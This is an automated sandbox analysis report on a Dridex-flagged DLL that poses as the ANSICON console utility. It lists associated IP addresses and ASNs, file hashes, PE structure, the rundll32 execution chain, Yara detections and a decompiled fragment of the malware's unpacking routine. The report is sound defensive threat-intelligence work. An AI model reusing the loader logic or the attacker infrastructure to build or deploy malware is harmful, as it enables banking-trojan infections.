Simulations

Behavior and APIs

Time	Type	Description
23:40:54	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
159.203.93.122	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	qMus8K6kXx.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	9JXXdpfiQm.dll	Get hash	malicious	Browse
	t4KzTUSzkx.dll	Get hash	malicious	Browse
	POQ6m91rE7.dll	Get hash	malicious	Browse
	4ryCxciDFA.dll	Get hash	malicious	Browse
	9JXXdpfiQm.dll	Get hash	malicious	Browse
	t4KzTUSzkx.dll	Get hash	malicious	Browse
50.116.27.97	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	qMus8K6kXx.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	9JXXdpfiQm.dll	Get hash	malicious	Browse
	t4KzTUSzkx.dll	Get hash	malicious	Browse
	POQ6m91rE7.dll	Get hash	malicious	Browse
	4ryCxciDFA.dll	Get hash	malicious	Browse
	9JXXdpfiQm.dll	Get hash	malicious	Browse
	t4KzTUSzkx.dll	Get hash	malicious	Browse
94.247.168.64	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	qMus8K6kXx.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	9JXXdpfiQm.dll	Get hash	malicious	Browse
	t4KzTUSzkx.dll	Get hash	malicious	Browse
	POQ6m91rE7.dll	Get hash	malicious	Browse
	4ryCxciDFA.dll	Get hash	malicious	Browse
	9JXXdpfiQm.dll	Get hash	malicious	Browse
	t4KzTUSzkx.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	BJKPKLUPiD.dll	Get hash	malicious	Browse	159.203.93.122
	RuRxpMUPN7.dll	Get hash	malicious	Browse	159.203.93.122
	qMus8K6kXx.dll	Get hash	malicious	Browse	159.203.93.122
	gsG7jGFk3I.dll	Get hash	malicious	Browse	159.203.93.122
	15sV4KdrCN.dll	Get hash	malicious	Browse	159.203.93.122
	Ce28zthEz1.dll	Get hash	malicious	Browse	159.203.93.122
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	159.203.93.122
	1UmI5PSg3K.dll	Get hash	malicious	Browse	159.203.93.122
	9eYYTTlVYi.dll	Get hash	malicious	Browse	159.203.93.122
	Ce28zthEz1.dll	Get hash	malicious	Browse	159.203.93.122
	15sV4KdrCN.dll	Get hash	malicious	Browse	159.203.93.122
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	159.203.93.122
	1UmI5PSg3K.dll	Get hash	malicious	Browse	159.203.93.122
	9eYYTTlVYi.dll	Get hash	malicious	Browse	159.203.93.122
	9JXXdpfiQm.dll	Get hash	malicious	Browse	159.203.93.122
	t4KzTUSzkx.dll	Get hash	malicious	Browse	159.203.93.122
	POQ6m91rE7.dll	Get hash	malicious	Browse	159.203.93.122
	4ryCxciDFA.dll	Get hash	malicious	Browse	159.203.93.122
	9JXXdpfiQm.dll	Get hash	malicious	Browse	159.203.93.122
	t4KzTUSzkx.dll	Get hash	malicious	Browse	159.203.93.122
LINODE-APLinodeLLCUS	BJKPKLUPiD.dll	Get hash	malicious	Browse	50.116.27.97
	RuRxpMUPN7.dll	Get hash	malicious	Browse	50.116.27.97
	qMus8K6kXx.dll	Get hash	malicious	Browse	50.116.27.97
	gsG7jGFk3I.dll	Get hash	malicious	Browse	50.116.27.97
	15sV4KdrCN.dll	Get hash	malicious	Browse	50.116.27.97
	Ce28zthEz1.dll	Get hash	malicious	Browse	50.116.27.97
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	50.116.27.97
	1UmI5PSg3K.dll	Get hash	malicious	Browse	50.116.27.97
	9eYYTTlVYi.dll	Get hash	malicious	Browse	50.116.27.97
	Ce28zthEz1.dll	Get hash	malicious	Browse	50.116.27.97
	15sV4KdrCN.dll	Get hash	malicious	Browse	50.116.27.97
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	50.116.27.97
	1UmI5PSg3K.dll	Get hash	malicious	Browse	50.116.27.97
	9eYYTTlVYi.dll	Get hash	malicious	Browse	50.116.27.97
	9JXXdpfiQm.dll	Get hash	malicious	Browse	50.116.27.97
	t4KzTUSzkx.dll	Get hash	malicious	Browse	50.116.27.97
	POQ6m91rE7.dll	Get hash	malicious	Browse	50.116.27.97
	4ryCxciDFA.dll	Get hash	malicious	Browse	50.116.27.97
	9JXXdpfiQm.dll	Get hash	malicious	Browse	50.116.27.97
	t4KzTUSzkx.dll	Get hash	malicious	Browse	50.116.27.97
GLESYS-ASSE	BJKPKLUPiD.dll	Get hash	malicious	Browse	94.247.168.64
	RuRxpMUPN7.dll	Get hash	malicious	Browse	94.247.168.64
	qMus8K6kXx.dll	Get hash	malicious	Browse	94.247.168.64
	gsG7jGFk3I.dll	Get hash	malicious	Browse	94.247.168.64
	15sV4KdrCN.dll	Get hash	malicious	Browse	94.247.168.64
	Ce28zthEz1.dll	Get hash	malicious	Browse	94.247.168.64
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	94.247.168.64
	1UmI5PSg3K.dll	Get hash	malicious	Browse	94.247.168.64
	9eYYTTlVYi.dll	Get hash	malicious	Browse	94.247.168.64
	Ce28zthEz1.dll	Get hash	malicious	Browse	94.247.168.64
	15sV4KdrCN.dll	Get hash	malicious	Browse	94.247.168.64
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	94.247.168.64
	1UmI5PSg3K.dll	Get hash	malicious	Browse	94.247.168.64
	9eYYTTlVYi.dll	Get hash	malicious	Browse	94.247.168.64
	9JXXdpfiQm.dll	Get hash	malicious	Browse	94.247.168.64
	t4KzTUSzkx.dll	Get hash	malicious	Browse	94.247.168.64
	POQ6m91rE7.dll	Get hash	malicious	Browse	94.247.168.64
	4ryCxciDFA.dll	Get hash	malicious	Browse	94.247.168.64
	9JXXdpfiQm.dll	Get hash	malicious	Browse	94.247.168.64
	t4KzTUSzkx.dll	Get hash	malicious	Browse	94.247.168.64

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_8697bb53893bff1d8dd8d2263efc904abedc64_160cf2be_197edd8e\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	9234
Entropy (8bit):	3.761123553779635
Encrypted:	false
SSDEEP:	96:bazKxv1vZXyVy9hAS2C5Q56tpXIQcQ6c6n+hcEZcw3P+a+z+HbHg4V6eugtYsaVm:Y8ve8HUb+hjbj7q/u7suS274Itb2q
MD5:	5EC961D53BF3D8757048921FB18E1FA7
SHA1:	5A5D0B1839441F7A68955A70000D59772E056A99
SHA-256:	D59F3FB03D4735A5BA41AA5FBAB09E735E6CD5C2185DC87D13C63CCCE86CA4BB
SHA-512:	DE47955D2EC1FBBBA1C4646AEE796CABA8B045ACAC1FD83F18E6A2D56274872EFEC5D466C4961F9F11CA68029F70E3D1B9A2ACBD09BFF5BD7BC1C3BDEC375039
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.3.3.4.2.0.5.9.4.2.4.3.4.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.5.d.4.4.6.f.c.-.d.c.1.0.-.4.5.4.c.-.9.5.d.b.-.a.5.1.a.7.a.d.6.f.5.6.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.4.8.2.a.2.e.-.4.b.6.9.-.4.5.6.8.-.a.a.2.e.-.3.8.1.0.5.e.3.9.b.a.3.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.7.0.-.0.0.0.1.-.0.0.1.b.-.b.1.1.e.-.3.a.9.7.6.4.3.5.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.0.4././.0.4.:.1.0.:.5.0.:.5.4.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8DD.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Apr 19 21:41:01 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	44646
Entropy (8bit):	2.0175923883954536
Encrypted:	false
SSDEEP:	768:hrQk3H3333333e33333vvLvvvvvv3H333Xvvvvvv3XXXH333e333XXXH333e33v+:tQk3H3333333e33333vvLvvvvvv3H33G
MD5:	A58AE65F8181ED115D846772921D0D26
SHA1:	96BB0A4CFC116858F421E85C7171FFD7B40F4FBB
SHA-256:	23EFC52FFEB5F70EA26D977689E5BE6B53CF3304F4B6187E5845DD76F7B2D268
SHA-512:	F13000D67BA17690BA7A40A8003DE12428E0FABE7D74A61B6190452AA009079B643099341CA607DF88A6823722CAC265F1CE53A3515E63AA11EB315D2D66B0D8
Malicious:	false
Reputation:	low
Preview:	MDMP....... .........}`...................U...........B..............GenuineIntelW...........T.......p.....}`.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF85.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8368
Entropy (8bit):	3.6898474858163732
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNizM6UKb6Yr/SU1pFP0gmfeS1/+pBa89bLqsf/8s5m:RrlsNiY6UKb6YDSU1pl0gmfeS1aLJf/i
MD5:	AE059EE0A27EAA40C5A12C805931ECD0
SHA1:	8C17BE07131C98D3DA2A65FAC401F70BE5DE8CF6
SHA-256:	98CE5EC5F3FCAD66034FB5C88EFF0A46C83CE83F1381371AA34C47CCCA82352D
SHA-512:	881478E91EA1F39D9CAEA17B8411893CE5B8D1815C27D8FCD7C41C46B05187AA6FCEBC73A5238719BE152C6EB11037F41480FB77565AF3EB55BC17CEA740BCEB
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.2.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD468.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4658
Entropy (8bit):	4.425999332245737
Encrypted:	false
SSDEEP:	48:cvIwSD8zszJgtWI9eCCgWSC8BC8fm8M4JVh9FVK+q8v7hHUKcQIcQw6Urld:uITfNo6SNtJr9KK1HUKkw68ld
MD5:	FC530BCD24B0EF64066CAA477C087D23
SHA1:	5EFE43136B10FCF9E316F976E5E96659B2605539
SHA-256:	D1585E55BC1BFB3604BC5A013CF338D66AA77C47FE9024057B29B0A4D840F622
SHA-512:	6020B4124B004B955C49A56E5290661F36451CD7EC44115035B835BEECCC51E5FD710D59E6617CD6705E62ECD92D943B8927F8F3ECB989D71C05B85B29B98792
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="953691" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.548571384698519
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CTkT1fRtQv.dll
File size:	163840
MD5:	304c6fb5258a065507a5ea8625fbf120
SHA1:	386f11c61362582fb431758483579cef18094043
SHA256:	ab022d18682f942315316baa838852c3010df92e79f645b37c7afd2b85623b2b
SHA512:	2352167e950c825115caf6f51a6a9bbd52d7dc2fae1ab3a7502b0d7ccc1dcf1e8a5ddfec6a8e09d26595544fb9ed9375a922115bd26aafbb08c4ace349fc27cd
SSDEEP:	3072:PWX2IjzzpM+PncPeY8+O3AU3HRIHPh3UGfXy0BHNkIv/ScbQQ2y0iNM0+y+N0tc:P42IfzNPnoeY8j3AsHGPXpHNj6rByM3
File Content Preview:	MZ......................@...........................................[}..[}..[}..[}...}..@.2..\|..=.T..}....S.z\|..@..._}..\|...T\|..V/C..\|..V/E..\|..Rich[}..............PE..L.....}`...........!.........f.......D.......P....@....................................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x424410
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x607DE4E3 [Mon Apr 19 20:15:31 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	b84fd50f2389cfd5bd83e2cf062986d1

Entrypoint Preview

Instruction
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
sub eax, 00002233h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
cmp edx, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
je 00007FAE2CC2272Bh
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1001	0x0	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2768c	0x59	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d000	0x14c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x25040	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x25000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x23a97	0x23600	False	0.761560015459	data	7.55877156847	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x25000	0x2a67	0x2a00	False	0.791573660714	data	7.53164670284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x28000	0x3588	0x1600	False	0.783380681818	MMDF mailbox	7.34765964879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0x784	0x400	False	0.390625	data	2.73456990044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d000	0xd2b	0x200	False	0.62890625	data	4.21021599876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x2c060	0x2e0	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, OpenSemaphoreW, LoadLibraryExA, GetModuleHandleW, OutputDebugStringA, GetProfileSectionW
OPENGL32.dll	glTexSubImage1D
ole32.dll	CreateStreamOnHGlobal
USER32.dll	TranslateMessage
ADVAPI32.dll	RegLoadAppKeyW

Version Infos

Description	Data
LegalCopyright	Freeware
InternalName	ANSI32
FileVersion	1.66
CompanyName	Jason Hood
Comments	http://ansicon.adoxa.vze.com/
ProductName	ANSICON
ProductVersion	1.66
FileDescription	ANSI Console
OriginalFilename	ANSI32.dll
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 7024 Parent PID: 5804

General

Start time:	23:40:18
Start date:	19/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll'
Imagebase:	0x3b0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 7040 Parent PID: 7024

General

Start time:	23:40:18
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7068 Parent PID: 7040

General

Start time:	23:40:18
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5680 Parent PID: 7024

General

Start time:	23:40:54
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',ReadLogRecord
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000002.912730818.00000000728A1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6424 Parent PID: 7024

General

Start time:	23:40:56
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 144
Imagebase:	0xd30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 7024 Parent PID: 5804 loaddll32.exeCOMMON

Executed Functions

Function 003A2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E003A2213(long __ebx, long __edi, void* __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				char* _v76;
				int _v80;
				long _v84;
				long _v88;
				DWORD* _v92;
				intOrPtr _v96;
				int _v100;
				intOrPtr* _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				char* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				int _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char _v184;
				intOrPtr* _t136;
				int _t143;
				int _t151;
				int _t155;
				intOrPtr _t170;
				int _t177;
				void* _t226;
				intOrPtr _t229;
				intOrPtr _t234;
				void* _t236;
				intOrPtr* _t240;
				intOrPtr _t247;
				intOrPtr _t251;
				DWORD* _t264;
				void* _t268;
				intOrPtr* _t271;
				intOrPtr* _t272;

				_t136 = _a4;
				_v20 = 0;
				_t236 =  *((intOrPtr*)(_t136 + 0x40));
				 *0x3a4418 = 1;
				asm("movaps xmm0, [0x3a3010]");
				asm("movups [0x3a4428], xmm0");
				_v48 = _t136;
				_v52 =  *((intOrPtr*)(_t136 + 0x64));
				_v56 =  *((intOrPtr*)(_v48 + 8));
				_v184 = _t236;
				_v60 =  *((intOrPtr*)(_v48 + 0x50));
				_v180 = _v52;
				_v176 = 4;
				_v172 =  &_v20;
				_v64 =  *((intOrPtr*)(_t136 + 0x60));
				_v68 = 4;
				_v72 = _t236;
				_v76 =  &_v20;
				_t143 = VirtualProtect(__esi, __edi, __ebx, _t264); // executed
				_v80 = _t143;
				_v184 = _v72;
				_v180 = 0;
				_v176 =  *((intOrPtr*)(_v48 + 0x64));
				_v84 = 0x400;
				_v88 = 2;
				_v92 =  &_v20;
				_v96 = 0;
				E003A2569();
				E003A1D28(_v72,  *((intOrPtr*)(_v48 + 0xc)), _v56);
				E003A2569( *((intOrPtr*)(_v48 + 0xc)), 0, _v56);
				_t151 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
				_t271 = _t268 - 0x88;
				_t226 = _v72;
				_t251 =  *((intOrPtr*)(_t226 + 0x3c));
				_v100 = _t151;
				_v104 = _v72 + 0x3c;
				_v108 = _t226;
				_v112 = _t251;
				if(_t251 != 0) {
					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v144 = _v108;
				if(_v60 != 0) {
					_v148 = 0;
					_v152 = _v144 + 0x18 + ( *(_v144 + 0x14) & 0x0000ffff);
					while(1) {
						_t170 = _v152;
						_v160 = _t170;
						_t247 = _v160;
						_v184 = _v72 +  *((intOrPtr*)(_t247 + 0xc));
						_v180 =  *((intOrPtr*)(_t247 + 8));
						_v176 =  *((intOrPtr*)(0x3a4418 + (( *(_t170 + 0x24) >> 0x0000001e & 0x00000001) << 4) + ( *(_t170 + 0x24) >> 0x1f << 3) + (( *(_t170 + 0x24) >> 0x0000001d & 0x00000001) << 2)));
						_v172 =  &_v20;
						_v164 = _v148;
						_t177 = VirtualProtect(??, ??, ??, ??); // executed
						_t271 = _t271 - 0x10;
